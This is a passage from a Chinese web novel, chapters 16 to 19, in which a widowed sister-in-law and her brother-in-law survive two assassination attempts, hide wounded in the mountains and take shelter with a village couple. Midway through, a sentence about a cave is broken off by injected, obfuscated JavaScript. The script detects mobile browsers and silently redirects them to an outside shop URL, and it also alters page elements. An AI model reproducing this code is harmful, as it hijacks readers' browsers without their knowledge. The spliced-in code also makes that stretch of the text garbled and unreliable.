而李妙仪扑出的身影,恰好挡住了刺客趁机袭来的一记阴狠斜劈。刀锋划过她左臂外侧,衣帛撕裂,皮开肉绽,温热的血喷涌而出。 “崔令言!”郑淮序目眦欲裂,那声惊呼脱口而出,不再是疏离的“嫂嫂”。 16. 受伤 剧痛与鲜血激起了郑淮序骨子里的凶性,他眼中血色弥漫,剑势陡然变得疯狂暴烈,完全是两败俱伤的打法。 一剑荡开正面之敌,拼着腰间被刀锋划破,他的长剑以诡异角度回刺,狠狠捅入了那名伤到李妙仪的刺客肋下。 刺客踉跄后退。 郑淮序旋身一脚将另一名刺客踹得倒飞出门外,撞在院中石阶上,生死不知。他看也不看肩头颤动的箭羽,回身一步跨到李妙仪身边。 “我不是让你躲好吗?你为什么要跑过来!”他终于压抑不住惊怒和后怕。 她跌坐在地,脸色惨白如纸,右手紧紧捂着伤口,鲜血不断从指缝涌出,单薄的寝衣已被血水浸湿,却死死咬着下唇,未发出一声痛呼。 郑淮序想查看她的伤口,伸出的手却停在半空,指尖微不可察地颤抖着。 “我没事,”李妙仪从牙缝里挤出几个字,看向他肩头那枚刺目的箭羽上,瞳孔紧缩,“你的伤……” 院外的厮杀声不知何时已渐渐停歇,急促的脚步声纷至沓来,郑家的护卫终于突破拦截,浑身浴血地冲入院内。 “二公子!少夫人!”护卫首领看到屋内情景,骇然变色。 “刺客清理干净了?”郑淮序没有回头,但气息已明显不稳。 “是,留了两个活口,其余皆已伏诛。”护卫首领急声道,“属下失职……” “现在不是请罪的时候。”郑淮序打断他,深吸一口气,试图稳住有些摇晃的身形,“立刻封锁寺院,彻查所有可疑之人,我们的伤需立刻处理。” 他说着,想弯腰去扶李妙仪,眼前却猛地一黑,高大的身躯晃了晃,单膝跪倒在地,长剑“哐当”一声脱手。 “郑淮序!”李妙仪惊呼,顾不上自己手臂剧痛,用未受伤的右手奋力去撑住他下沉的肩膀。 触及的布料一片湿冷黏腻,全是血。 月光与火把的光交织着照进残破禅房,映亮两人苍白染血的脸,和紧靠在一起、伤痕累累的身躯。 他看到她眼中来不及掩饰的惊惧、疼痛,还有那深不见底的担忧。 风声,松涛声,远处渐起的慌乱人声,似乎都在这一刻远去。 他额角青筋跳动,借着李妙仪的支撑,竟缓缓站直了身体,“过来扶少夫人坐下,先给她止血。” “你呢?”李妙仪不肯松手,盯着那枚深入皮肉的箭羽,声音发颤。 “死不了。”郑淮序打断她,对护卫首领沉声道,“让随行懂医术的人过来,另外,立刻去请寺中擅长外伤的僧人,动静小些。” 护卫首领不敢耽搁,立刻吩咐下去。 很快,郑家随行的一位略通医术的老仆和寺中一位眉毛花白的老僧几乎同时赶到。 老僧只看了一眼屋内的情形和两人身上的伤,便合十道:“阿弥陀佛,请将这位女施主扶至隔壁净室,老衲先为这位男施主处理箭伤。” 箭伤凶险,需先拔除,拖延不得。 李妙仪被青鸾和另一个丫鬟扶着,走向隔壁禅房。她回头望去,只见郑淮序已咬住一块干净布巾,额发被冷汗浸透,但背脊依旧挺得笔直,对着老僧点了点头。 门在身后关上,隔绝了视线。 隔壁净室烛火明亮,李妙仪坐在榻边,左臂衣袖已被小心剪开,一道深可见骨的刀伤从肘弯上方延伸到小臂,皮肉外翻,血流虽缓,但依旧触目惊心。 青鸾看着那伤口,眼泪直掉,手抖得几乎拿不住药瓶。 老仆还算镇定,先用烈酒冲洗伤口。剧痛袭来,李妙仪浑身一颤,拼命将痛哼咽了回去,额头上瞬间布满冷汗。 “少夫人,忍一忍。”老仆低声道,快速撒上金疮药粉,用干净的白布层层包裹,动作利落,“伤口很深,万幸未伤及筋脉,但需好生将养,切忌沾水用力。” 李妙仪点头,嘴唇失了血色,不由自主地瞟向墙壁,那一边,正进行着更凶险的处理。 不知过了多久,门被轻轻叩响。方才那位老僧走了进来,双手沾着未洗净的血迹,僧袍下摆也染了红,但神色依旧平静。 “女施主放心,箭已取出,未伤及肺腑。”老僧声音平和,“郑施主体魄强健,意志坚定,已无大碍,此刻需静卧休养。” 李妙仪紧绷的心弦终于稍松,一口气缓过来,才感到浑身脱力,左臂的疼痛也更加鲜明地叫嚣起来。 “多谢大师。”她连声道谢。 老僧合十还礼,看了一眼她包扎好的手臂:“今夜寺中不太平,老衲已安排武僧加强戒备,二位施主且安心在此歇息。” 老僧与老仆退下后,室内只剩李妙仪和青鸾。 “少夫人,您流了这么多血。”青鸾哽咽着,绞了热帕子替她擦拭脸上手上的血污。 李妙仪任由她伺候,心神却飘到了隔壁。刺客是谁派来的?目标是她,还是郑淮序,抑或两人都是? 那冷箭……若非她掷出桌腿稍稍干扰了轨迹,若非他反应够快…… 她不敢再想下去。 “青鸾,”她轻声开口,声音干涩,“去问问,二公子那边,还需什么?” 青鸾应声去了,片刻后回来,低声道:“二公子那边有亲卫守着,药已煎上,说让少夫人好生歇息,不必挂心。” 李妙仪扯了扯嘴角,却牵动了伤口,疼得蹙眉。 怎么可能不挂心。 这一夜,寺中无人安眠。 武僧持棍来回巡视,火把将禅院照得亮如白昼。郑家护卫更是如临大敌,将李妙仪和郑淮序所居的两处禅房围得水泄不通。 李妙仪和衣躺在榻上,左臂的疼痛和心头的惊悸让她毫无睡意。每一次闭眼,都是刀光劈面、冷箭破空的画面,还有郑淮序挡在她身前染血的背影。 天将破晓时,她才迷迷糊糊浅眠了片刻,很快又被噩梦惊醒。 翌日,雨丝纷飞,给大慈悲寺蒙上了一层灰蒙蒙的纱幕。 李妙仪早早起身,左臂一动便疼得钻心,仍坚持要去看看郑淮序。 推开隔壁禅房的门,药味扑鼻。 郑淮序半靠在床头,肩上裹着厚厚的白布,血迹隐隐渗出。他换了一身干净的中衣,长发未束,眼下带着疲惫的青影。但那双眼睛,在看到她进来的瞬间,便恢复了惯常的锐利清明。 “嫂嫂,你怎么来了?”他开口,声音比昨日更沙哑几分,“伤如何?” “已经比昨日好多了,”李妙仪走到床边不远不近的位置停下,盯着他的伤处,“你伤得很重。” “皮肉伤,养些时日便好。”郑淮序说得轻描淡写,但微微蹙起的眉峰和额角的薄汗,泄露了伤势并不轻松。 昨夜的生死一线,像一层无形的纱,横亘在空气中,让惯常的疏淡客气显得有些不合时宜。 “刺客都抓到了吗?”李妙仪打破沉默。 郑淮序眼神一冷:“死了七个,活捉两个。卸了下巴,断了手脚筋,已连夜秘密送往京中一处稳妥地方。”他顿了顿,“是死士,身上没有任何标记,所用兵刃也是市面上常见的制式,查不出直接来历。” 李妙仪心往下沉:“他们是冲谁来的?” “昨夜我那边先遇袭,三名刺客,皆是高手,目标明确,你这边后来才有人闯入。”他缓缓道,“两种可能。一,目标是 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当日下午,郑家其他几位小辈前来辞行。马车轱辘声渐远,禅院恢复了寂静,却因少了人气,更显得空旷,也仿佛将两人与外界暂时隔离开来。 养伤的日子单调而缓慢。 李妙仪从小到大没受过这么重的伤,伤口又深,换药时更是折磨,她从不在人前示弱,夜里却时有呓语,疼得偷偷掉眼泪。 郑淮序肩伤重,发热了两日,因身体素质好,恢复得极快,已经能听亲卫回报对刺客的审讯进展,处理一些紧急的府中事务。 两人虽分院而居,但一日三餐常在一起用,寺中斋饭清淡,有利于伤口愈合。 修养了几日,李妙仪忍不住到院中廊下散步透气,郑淮序也走了出来,两人在廊下相遇。 “嫂嫂今日气色好些了。”郑淮序先开口,盯着她依旧没什么血色的唇。 “你也是。”李妙仪应道,看着他被日光映照得有些透明的侧脸。 半晌,他忽然问:“那日你扑过来,真的不怕死吗?” 李妙仪心口微滞,当时哪里来得及怕?只有一股不能让他因救自己而死的冲动。 “怕。”她垂眸,看着廊下湿润的青石板,“但更怕连累你遇险,若非为了护我,你或许不会受那一箭。” “刺客本就是冲我来的,你才是被连累。”郑淮序转过身,目光沉沉落在她脸上,“况且,我是郑家男儿,护着自家人,天经地义。” 自家人,这三个字,他吐得清晰。 李妙仪心头莫名一颤,抬起眼,对上他的视线。他眼中的冰封似乎被午后的暖阳融化了些许,露出底下复杂难辨的底色。 郑淮序语气渐沉:“北境之事,绝非狄人凶悍那么简单。朝中有人不想让边关太平,也不想让郑家安稳。” 这话已是极其直白的暗示,李妙仪屏住呼吸:“你已有头绪?” “尚无确凿证据,但此番刺杀,或许正是因为我们触及了某些人的痛处。你日后在府中,更要万事小心,尤其不要独自接触来历不明的人或物。” “我明白。”李妙仪郑重点头,经此一劫,她比任何人都清楚暗处危险的迫近。 他们在廊下又站了片刻,微风拂过,带来草木清香,暂时驱散了萦绕不散的血腥与药味。 “起风了,回屋吧。”郑淮序先打破了沉默,“你的伤不能吹风太久。” “二郎也是。”李妙仪颔首。 两人转身,各自走向自己的禅房。 脚步缓慢,背影在长廊下被斜阳拉长,虽依旧隔着一段不远不近的距离,却不再是毫无交集的平行。 17. 埋伏 寺中清静,却也非久留之地,京中情势不明,郑淮序需尽早回去主持大局。调养了数日,伤口虽未痊愈,但已能承受马车颠簸。 天刚蒙蒙亮,一辆不起眼的青帷马车已候在山门外。为掩人耳目,此行轻装简从,除车夫外,只带了四名身手最好的护卫骑马随行。 两人同乘一辆马车,郑淮序外罩一件深灰色披风,遮住肩上仍显厚重的绷带。李妙仪则是一身素青衣裙,左臂袖口特意放宽,遮掩着包扎。 “山路颠簸,若有不适,嫂嫂及时说。”郑淮序在她上车时伸手虚扶了一下,待她坐稳便收回手,自己坐在对面。 李妙仪点头,透过车窗看了一眼晨雾中的寺院飞檐,这几日寺中平静,却总觉暗流涌动。 马车缓缓驶下山道,李妙仪靠着车壁闭目养神,郑淮序则拿着一卷舆图阅览。两人之间隔着半臂距离,空气里只有车轮碾过石子的声响和远处隐约的鸟鸣。 约莫行了一个时辰,进入一段更为崎岖狭窄的山路,一侧是陡峭山壁,另一侧则是深不见底的山涧。 郑淮序忽然收起舆图,抬眼看向车窗外,神色微凝。 几乎同时,马车猛地一顿。 “嘶——”马匹发出惊恐的嘶鸣,车夫厉喝,“有绊马索!” 话音未落,两侧山林中骤然射出十数支羽箭,带着尖锐的破空声,直奔马车而来。 “低头!”郑淮序厉喝,瞬间扑向李妙仪,将她按倒在车厢底板,宽大的披风一展,覆住两人。 箭矢大半钉入车壁,有两支穿透车窗,擦着郑淮序的披风掠过。 马车外已响起激烈的兵刃交击与呼喝声,四名护卫与突然出现的黑衣刺客战在一处。这些人显然比上一波更为训练有素,配合默契,出手狠辣,且人数更多。 “留在车里!”郑淮序迅速在她耳边留下一句,抽剑掀开车帘,纵身而出。 李妙仪趴在车底,心绪紊乱,她听到郑淮序的怒喝,剑刃破风声,刺客的闷哼,以及一名护卫的惨呼。 这一次的刺杀,比寺院那次更为周密狠绝,他们算准了回程路线,在此险要处设伏。 李妙仪咬牙爬起,透过被箭矢撕裂的车帘缝隙向外看去。 山道上已是一片混战。四名护卫只剩三人勉力支撑,黑衣人却有七八个之多,且还有弓箭手隐在林中放冷箭。 郑淮序肩伤未愈,剑势虽依旧凌厉,但明显不如平日迅捷,几次格挡硬碰,他肩头绷带上已迅速洇出新的血色。 她不能坐以待毙。 李妙仪急速扫过车内,找到车座下备着的包裹,她记得里面有火折子、水囊和一小包干粮,还有一把用来防身的短匕首。 她背上包裹,将那把不足一尺的匕首,握在手中,冰凉的触感让她略微镇定。 就在这时,一名黑衣人似乎察觉车内有人,挥刀劈开车帘,探身进来。 李妙仪想也不想,蜷缩在车门死角,在那黑衣人上半身刚探入的刹那,用尽全身力气,将匕首狠狠刺向对方大腿。 “啊!”黑衣人猝不及防,痛呼一声,动作一滞。 李妙仪趁机猛地推开另一侧车门,滚下车厢。 落地瞬间,左臂伤口被剧烈牵扯,疼得她眼前一黑,但她不敢停留,连滚爬爬躲到一块凸起的山石后。 “杀了她!”受伤的黑衣人暴怒,指向李妙仪。 立刻有两名黑衣人摆脱护卫,朝她扑来。 郑淮序见状,一剑逼退身前之敌,想要冲过来,却被另外两人死死缠住,肩头又添一道新伤,血染红半边衣裳。 眼看刀锋已至眼前,李妙仪背靠山石,退无可退。 山涧对面忽然传来一声尖锐的呼哨。 紧接着,数支箭矢如雨点般从对面山林中射出,李妙仪面前的黑衣人被箭矢穿透,应声倒下,周遭其他人的攻势连带滞缓。 “走!”一个嘶哑低沉的声音从对面传来。 李妙仪来不及细想,这是敌是友?但此刻别无选择,转身就朝旁边一条更窄的小径狂奔而去。 郑淮序心念电转,知道硬拼下去,今日两人都要死在此地。 他虚晃一剑,拼着后背挨了一记刀背重击,借着冲力也朝那条小径冲去,途中顺手捞起跌倒在地的李妙仪,冲入茂密山林。 “放箭!” 箭矢追着他们的背影射来,郑淮序将李妙仪紧紧护在身前,用背脊和披风抵挡。一枚箭矢破空而来,擦过他肩膀,他身体猛地一震,脚下却丝毫不停。 两人跌跌撞撞,不知跑了多久,身后兵刃交击与呼喝声终于被层层林木吞噬,渐渐远去。山路却越发陡峭,林木遮天蔽日,光线昏暗,几乎难辨方向。 李妙仪已是强弩之末,左臂伤口在颠簸中彻底崩裂,鲜血不断渗出,浸透衣料,黏腻地贴在皮肤上,每一次喘息都扯动伤处。 郑淮序的状况更糟。新添的刀伤与崩裂的旧创交织,将他整个后背染成一片骇人的暗红,脸色苍白如纸,全靠一股悍勇之气支撑。 终于,在奋力拨开一片横生的荆棘丛后,郑淮序脚下一软,连同被他紧抓着的李妙仪一起,重重摔倒在积满腐叶的地上。 “郑淮序!”李妙仪顾不得自己摔得生疼,惊慌地翻身扑到他身侧。 只见他双目紧闭,牙关紧咬,已然昏迷过去,脸上连最后一丝血色也褪尽了。 她心口一紧,颤抖着探向他鼻下,待感受到一丝微弱的气息拂过指腹,强行将涌上眼眶的酸热逼了回去。 密林森森,不知身处何地,更不知那些黑衣人是否还在搜寻。当务之急,是找个地方隐蔽,处理伤口。 李妙仪狠狠掐了自己手心一把,强迫混沌的头脑冷静下来。她撕下内裙下摆,先用力扎紧他较重的伤口,减缓出血。 随后,她绕到他身侧,用自己的背脊抵住他沉重的身躯,一寸一寸,艰难地将他朝不远处那个隐约可见的山壁凹陷处拖去。 碎石和断枝硌着她的膝肘,短短一段路,竟漫长得如同没有尽头。 终于抵达,那是一个浅浅的天然石穴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164866|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,勉强能容两三人藏身,上方有藤蔓如帘般垂落,多少能遮挡一些视线。 将郑淮序安置妥当,李妙仪几乎虚脱,但她不敢休息,又返回原处,用树枝小心扫去拖行痕迹,并将滴落的血迹用泥土落叶掩盖。 做完这一切,她瘫坐在郑淮序身边,剧烈喘息。左臂的疼痛已经麻木,绷带已被血浸透,必须重新包扎。 她解开染血的布条,好不容易养了数日的伤口果然裂开,皮肉狰狞。从怀中拿出尚算干净的帕子,撕下一段里衣,用随身带的一小壶清水冲洗伤口,撒上金疮药,重新包扎。 整个过程,她疼得浑身发抖,冷汗浸湿鬓发。 处理完自己的,她看向郑淮序,他肩头、后背,新伤旧伤交织,亟待处理。 李妙仪深吸一口气,顾不得男女之防,解开他的衣物,先用水冲洗伤口周围,又将所剩无几的金疮药全数撒上,最后用撕成条的衣服紧紧包扎。 做完这一切,她双手沾满他的血,浑身脱力,靠坐在石壁上,看着昏迷不醒的郑淮序,又看看外面渐暗的天色,心中涌起前所未有的惶然。 他们迷路了,重伤,没有食物,没有援兵,刺客可能还在搜寻。 夜幕降临,山林温度骤降。郑淮序开始发烧,身体时而滚烫,时而冰冷颤抖,显然伤口引起了炎症。她将自己的外衫盖在他身上,也无济于事。 生死关头,顾不得那么多了。 李妙仪侧身躺下,摒弃那股赧然,挤进他宽阔而坚硬的怀抱,用自己的体温为他取暖。 这一夜格外漫长,她不敢深睡,时时警惕洞外动静,同时留意郑淮序的状况,不时用浸湿的帕子擦拭他滚烫的额头和干裂的嘴唇。 后半夜,郑淮序的高烧终于退了一些,陷入相对安稳的昏睡。李妙仪稍稍松了口气,疲惫和伤痛袭来,也迷迷糊糊睡了过去。 她是被洞外鸟鸣声惊醒的。 晨光透过藤蔓缝隙照进来,带来些许暖意。她一动,才发现自己仍保持着环抱他的姿势,而郑淮序不知何时已转醒,正睁着眼,静静看着她。 李妙仪像被烫到一般,猛地松开手,向后挪开,脸颊无法控制地发热:“你醒了?感觉如何?” 郑淮序缓慢地撑坐起来,动作因牵动伤口而僵硬,“昨夜,辛苦你照料。” “你为我挡箭受伤,我照顾你,是应该的。”李妙仪偏过头,避开他的视线,快速整理自己凌乱的衣衫和头发。 郑淮序看着她故作镇定的侧脸,没再说什么。他检查了一下自己的伤口,包扎虽然简陋,但很妥帖。 “你的手臂如何?” “还好。”李妙仪简略答道,站起身,“我们必须想办法离开这里,找些水和食物。” 郑淮序点头,扶着石壁想要站起,却踉跄了一下。 李妙仪下意识伸手扶住他胳膊,“你伤重,别逞强。” “不碍事。”郑淮序借力站稳,他的掌心温热粗糙,包裹着她纤细的手腕,停顿了一息,才缓缓放开,“先找水源。” 18. 相拥 两人相互搀扶着走出石穴,密林之中,辨不清方向,只能循着水声,以及植被的茂盛程度试探前行。 李妙仪左臂不便,郑淮序重伤虚弱,走得极慢。途中,他用匕首削了一根树枝给她当拐杖,自己也折了一根支撑。 约莫走了半个时辰,终于找到一条清澈的山溪。两人如获至宝,先痛快饮了一番,又清洗了脸上手上的血污。 “我们可能偏离官道很远,先看看附近有没有能果腹的东西。” 李妙仪在溪边仔细寻找,多亏昔日常与兄长、同窗们进山游猎,她认得一些野菜,采了些嫩叶,又幸运地在树下发现几枚野果,红艳艳的。 野果酸涩,野菜微苦,但足以充饥。两人分食后,恢复了些许力气。 “不能一直乱走。”郑淮序看着四周几乎一模一样的林木,“得先确定方位,找个更稳妥的落脚点,我们的伤需要时间恢复。” 李妙仪抬头,透过树冠缝隙观察太阳方位,又看了看溪水流向,“我们是从东面进山的,昨日遇袭后大致向西北方向逃。这条溪流向南,如果顺着下游走,或许能遇到山民或猎户。” 郑淮序沉吟:“下游方向地势可能更低,但也更容易被追踪。先逆流往上走一段,找个隐蔽处休整两日,等我伤势稍稳,再做打算。” 于是,他们沿着溪流向上游走去,山路愈发难行。 郑淮序几次因失血体虚而眼前发黑,全靠意志支撑。李妙仪紧紧跟在他身侧,在他摇晃时及时扶住。 午后,他们在一处背风的山壁下,发现了一个比昨夜石穴更深、更干燥的洞穴,入口有茂密的藤蔓遮蔽,十分隐蔽。 “就这里吧。”郑淮序探查后确定洞内没有野兽痕迹,洞穴虽不大,但足够容身。 李妙仪简单清理了一下,铺上一层落叶,勉强算是干净了一些,两人便在这山洞中暂时安顿下来。 趁着天光尚在,李妙仪站起身:“我去找些吃的和水,你好好休息。” “等等。”郑淮序叫住她,撑着想站起来,“我与你同去。” “你伤重,不宜走动。”李妙仪按住他的肩,语气不容反驳,“你放心吧,我自己可以的。” 郑淮序看着她坚定的眼神,最终点了点头,“小心些,不要走远。” 李妙仪出了山洞,在附近找到几丛野莓,又在溪边发现几株熟悉的野菜,嫩叶尚可入口。她在宫中读过不少杂书,认得一些草药,还采了些有消炎镇痛作用的。 回到山洞时,郑淮序正坐在洞口,用匕首削尖树枝制作了几根简易的矛,又布置了一些简单的预警机关在洞口附近。 “你的体力应该用来养伤。”李妙仪不赞同地说,将野莓递给他一半。 “总要找些事做。”郑淮序接过,目光落在她沾了泥土和草屑的裙角,“况且我并非完全不能动。” 生存的艰辛让他们不得不放下所有矜持与界限。 郑淮序背后的伤自己无法处理,只能由李妙仪帮忙。起初两人都极为僵硬,目光刻意避开,动作生疏。渐渐地,或许是习惯了,或许是疲惫战胜了羞赧,变得自然许多。 “疼吗?”她小心揭开被血污黏连的布条,看着那处仍显狰狞的伤口。 倾身动作间,她未曾束紧的一缕长发悄然垂落,扫过他背脊上一片完好的肌肤。他整个背部的肌肉线条随之一凛,呼吸几不可察地顿住了片刻。 “还好。”他的回答从紧咬的牙关中挤出。 她专注地清洗、敷药,再用干净的布条仔细缠绕,“草药虽不及金疮药,总能缓解些炎症。” “嗯。”他低应了一声,就在她打好结,准备抽身退开时,忽然开口,“你的手臂,也该换药了。” 李妙仪一怔,她的伤在左臂外侧,自己处理固然别扭,却也勉强能够到,“我自己可以。” “转过来。”他眼神里有不容置疑的坚持,“伤口若处理不当,落下病根,日后受罪。” 李妙仪迟疑一瞬,还是背对他坐下,缓缓褪下左边衣袖,露出包扎着的小臂。 郑淮序的动作比她想象中更熟练轻柔,他解开旧布条,检查伤口愈合情况,再用清水擦拭,重新敷上草药。 “恢复得不错。”他包扎完毕,松开手,“但还需小心,不要用力。” “多谢。”李妙仪快速拉好衣袖。 这一路野外求生,属实不易。 她忽而想起那日在山涧对岸射箭相助的嘶哑声音。那是什么人?为何要救他们?是敌是友? 太多疑问在脑中盘旋,却没有答案。 “在想什么?”郑淮序走了过来,靠坐在洞壁,看向她。 李妙仪犹豫片刻,还是问出了口:“昨日在山涧对面射箭相助的人,你可有头绪?” 郑淮序沉默片刻,缓缓道:“有两种可能。一是我们自己的人,得到消息前来接应,但被刺客阻隔在对岸,只能远程相助。二是……” “是什么?” “是另一股势力。”郑淮序的目光变得深邃,“螳螂捕蝉,黄雀在后。” 李妙仪心中一凛:“你是说,有人想借刺客之手除掉我们,又想从刺客手中夺走什么?” “或者,是想让我们活着,却落入他们手中。”郑淮序补充道,“无论哪种,都说明京中局势比我想象的更复杂。” “那我们回京,岂不是自投罗网?” “必须回去。”郑淮序语气坚定,“我在外一日,朝中便多一日变数。况且,有些事只有回到盛京才能查清。” 他的目光落在李妙仪脸上,忽然道:“我知晓你与崔家并不和睦,若你此时想离开盛京这趟浑水,我可以安排,送你到一个安全的地方隐姓埋名。” 李妙仪愣住,随即摇头:“不,我既已卷入,便没有退路。况且……”她顿了顿,“我想知道真相,这一切背后到底是谁在操控。” 郑淮序心中某处微微一动,这位自幼养在深闺的崔府千金,比他想象中更有韧性。 “既然如此,”他郑重道,“回到盛京后,我会保护你的安全。” “我不需要你的保护。”李妙仪下意识反驳,却在看到他眼中的愕然后,放缓了语气,“我的意思是,我会保护好自己,不给你添麻烦。” 郑淮序笑了,虽然只是嘴角微扬,却让那张总是冷峻的脸柔和了许多。 “你不是麻烦。”他说,声音低沉而认真。 入夜后,山洞阴寒,他们只有一身 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第四日,天光微亮,郑淮序用树皮和藤条简单编成背篓,装上水囊和匕首,以及沿途可能用到的草药和野果。 “昨日我攀到高处看了看,”他指着东南方向,“那边山势较低,远处似有炊烟,我们朝那个方向走,或许能找到村落或猎户。” 李妙仪顺着他指的方向望去,只见层峦叠翠,云雾缭绕,根本辨不清什么炊烟,但她相信他的判断,“好。” 两人沿着溪流向下游方向出发。郑淮序体力恢复大半,已能自如行走,他一手拄着削制的木杖,另一手护在李妙仪身侧。 走了约莫一个时辰,前方出现一处陡峭的斜坡,坡上碎石松动,下方是深不见底的山谷。 “这段路危险,你跟紧我。”郑淮序回头看她,眼神凝重。 李妙仪深吸一口气,点头。 他率先踏上斜坡,试探着落脚点的坚实程度,再转身向她伸出手:“来,踩我踩过的地方。” 李妙仪迟疑一瞬,将手放入他掌中,在他的牵引和保护下,缓慢挪步。 碎石在脚下滚动,有几颗滑落山谷,久久听不到回响,令人心惊。 行至最陡处,郑淮序几乎是半抱着她,一步步挪过那段最陡峭的路。直至踏上相对平缓的山路,才松开手,退开一步。 黄昏时分,终于翻过最后一道山梁,眼前景象豁然开朗。山下平坦处,散落着几十户人家,炊烟袅袅,鸡犬相闻,是一个安宁祥和的小山村。 “今夜在此借宿。”郑淮序望着那人间烟火,神情稍缓,“我们需要热食、净水,你也该好好休息了。” 李妙仪低头看了看自己破损不堪的衣裙,自小喜净爱洁的她,这些日子已逼近忍耐极限。能洗个热水澡,换上干净衣裳,成了此刻最奢侈的向往。 “可我们如何解释这一身狼狈?”她担忧道,“若提及被追杀,恐吓着村民,也暴露行踪。” 郑淮序略一思索:“就说是在山中遇到猛兽,仓皇逃命时跌落山坡,丢了行李。” 这个说法合情合理,两人稍稍整理仪容,背着那简陋的树皮背篓,相互搀扶着朝村中走去。 19. 轨道 刚到村口,便遇见一位扛着锄头归家的农户。那汉子见到两个衣衫褴褛的陌生人,先是一惊,待看清他们年轻的面容和疲惫的神色,又生出几分怜悯。 郑淮序上前一步,略弯了腰,做出恭敬姿态,“大哥,我夫妇二人本是去邻县探亲,贪走近路穿山,不想在山中遇到黑熊。” 他顿了顿,掺入一丝后怕,“逃命时跌落陡坡,行李盘缠全都丢了。好不容易摸下山来,不知可否在村中借宿一晚?我们实在走不动了。” 他说得恳切,肩背处的渗血布条更添了几分可信。李妙仪配合地低下头,露出惊魂未定的柔弱模样。 农户打量他们几眼,叹了口气,放下锄头:“造孽哦,那山里近来是不太平,去年还有野猪下山祸害庄稼哩。你们跟我来吧,我家就在前头,虽不宽敞,收拾个地方让你们歇歇脚还是有的。” 农户姓陈,陈家院子不大,却收拾得整齐。听闻原委,陈大嫂连忙张罗起来,一边让丈夫去寻干净旧衣,一边往灶膛里添柴烧水。 “瞧瞧这一身泥尘,定是遭了大罪。”陈大嫂拉着李妙仪冰凉的手,眼中怜意更甚,“小娘子吓坏了吧?脸都白了。” 李妙仪确实又累又乏,勉强笑着道谢。当陈大嫂将一大桶冒着热气的水提进浴房,指着那虽然粗糙但擦洗得干干净净的木盆时,她几乎要落下泪来。 浴房门扉轻合,她褪下那身几乎辨不出原色的衣裙,将自己浸入温热的水中。水温略烫,却恰到好处地熨帖着她酸痛的筋骨和紧绷的神经。她细细擦洗每一寸肌肤,搓去发间的尘土草屑,直到皮肤微微发红,身心都松快起来。 换上那套粗布衣裙,虽布料粗糙,缝补处针脚歪斜,却浆洗得干干净净,散发着阳光与皂角的干净气息。她将长发拧干,松松编了条辫子垂在胸前,走出浴房。 外间,郑淮序也已简单洗漱过,换上了一身深蓝色的短打,正与陈大哥说话。听到动静,他转过头来,目光落在李妙仪身上,微微一怔。 洗去尘垢的她,肌肤白皙透亮,被热水熏出淡淡红晕。粗布衣裙掩不住窈窕身姿,反而衬得颈项修长,腰肢纤细。褪去了华服珠翠,此刻素面朝天的她,竟有种惊心动魄的清丽。 郑淮序眸光深了深,旋即恢复如常,温声道:“洗好了?大嫂煮了粥,还特意蒸了腊肉,过来吃吧。” 桌上摆着热腾腾的杂粮粥,一碟咸菜,还有几片切得薄薄的、油脂透亮的腊肉,对饥肠辘辘的两人而言,无异于珍馐美味。 陈大哥看着他们用膳,憨厚一笑:“慢点吃,锅里还多。看你们这样,真是遭了罪,今夜就安心歇下,西屋让我婆娘收拾出来了,被褥都是干净的,别嫌弃简陋。” 李妙仪握着筷子的指尖微微一紧,西屋只有一间,这意味着…… “陈大哥说哪里话,”郑淮序已自然接过话头,语气诚挚,“萍水相逢,能得二位恩人收容已是感激不尽,岂敢再有挑剔,实在叨扰了。” 饭后,陈大嫂领着他们去了西屋。房内靠墙一张土炕,铺着蓝印花布的褥子,叠着两床棉被。一桌两凳,便是全部家当。虽简陋,却窗明几净,处处透着精心打理过的痕迹。 “你们夫妻就将就一晚。”陈大嫂笑眯眯地说,“夜里山里凉,被子盖好,缺什么就喊一声,我们就在东屋。” 门被带上,吱呀一声轻响后,世界骤然安静下来。油灯如豆,光线昏黄,将两人的身影投在土墙上,摇曳不定。 沉默在狭小的空间里蔓延,现下重伤未愈,难得能安稳就寝,显然经不起折腾了。 郑淮序走到炕边,伸手按了按被褥,又摸了摸炕沿,仿佛在检查其牢固程度,“你睡里头,我靠外。” 李妙仪低低应了一声,走到炕沿坐下。土炕坚硬,褥子单薄,远不及府中锦被绣榻舒适,但连日的疲惫已压倒了一切。 她背过身褪下外衫,身上只余素白的中衣,在昏黄光线下,迅速掀开靠墙那床被子,将自己蜷缩着塞进去,面朝墙壁,严严实实地裹好。 身后传来窸窣声响,是郑淮序也上了炕。他吹熄了油灯,屋内顿时陷入黑暗,只有窗纸透进些许朦胧的月光。 两人之间隔着一掌宽的距离,各自裹着被子,一动不动。 然而,山村的夜格外寂静,任何声响都被放大,彼此的呼吸声清晰可闻,甚至能感受到对方身体散发的热意。 李妙仪僵直地躺着,感觉他们这几日过分亲近了。 她与郑淮序,年少时是见面必争的冤家,后来因契机重生,变成了礼数周全的叔嫂,何曾想过会同处一室,同榻而眠。 思绪纷乱间,疲惫终于渐渐上涌,意识开始向混沌的边缘滑落。就在这朦胧将睡未睡之际,隔壁东屋忽然传来了一些响动。 压低的说话声传来,带着浓重的乡音,黏连在一起,听不真切,似在商量明日的活计。后来,是一阵床板受压的“吱呀”声,初始缓慢,带着试探般的节奏,一下,又一下。 李妙仪在混沌中茫然了一瞬,尚未完全理解这声响的含义。 然而,那“吱呀”声渐渐加密,连成了片,其间混入了喘息与轻哼。那声音像一根烧红的针,猝然刺入她的耳膜。 待意识到那是什么声音,脑中“轰”的一声,全身血液仿佛都冲到了脸上。她咬咬牙,恨不得立刻消失,或者用被子蒙住头,却又怕动作太大,惊动了身旁的人,更显得欲盖弥彰。 那恼人的声响还在继续,甚至变本加厉,夹杂着夫妻间私密的调笑和呢喃。虽听不清具体字句,却更添遐想。 不知过了多久,一切才渐渐平息下去,只余下几声满足的的喟叹,以及窸窣整理的动静。 李妙仪觉得自己的魂魄都快被这尴尬的酷刑蒸干了,她以为这折磨人的寂静将延续至天明,身侧的郑淮序,突然极轻微地动了一下。 